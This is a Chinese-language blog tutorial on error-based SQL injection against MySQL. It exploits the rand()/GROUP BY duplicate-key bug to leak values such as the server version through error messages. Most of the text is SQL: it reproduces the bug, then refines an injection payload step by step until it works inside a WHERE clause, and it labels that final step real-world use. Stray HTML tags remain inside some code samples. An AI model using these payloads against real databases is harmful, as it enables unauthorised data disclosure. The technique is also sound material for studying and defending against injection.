网站MYSQL数据库高级爆错注入原分析

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

SQL Code复制内容到剪贴板

  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以这样拿来爆错注入了。
 

复制代码代码如下:
select count(*),concat((select version()),left(rand(),3))x from inform<span style=\”line-height:1.5;\”>ation_schema.tables group by x;</span>

尝试拿来实战
 

复制代码代码如下:
select * from user where user=\’root\’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

复制代码代码如下:
select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style=\”font-family:\’sans serif\’, tahoma, verdana, helvetica;font-size:12px;line-height:1.5;\”></span>

 

复制代码代码如下:
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办
 

复制代码代码如下:
select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 

复制代码代码如下:
select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止

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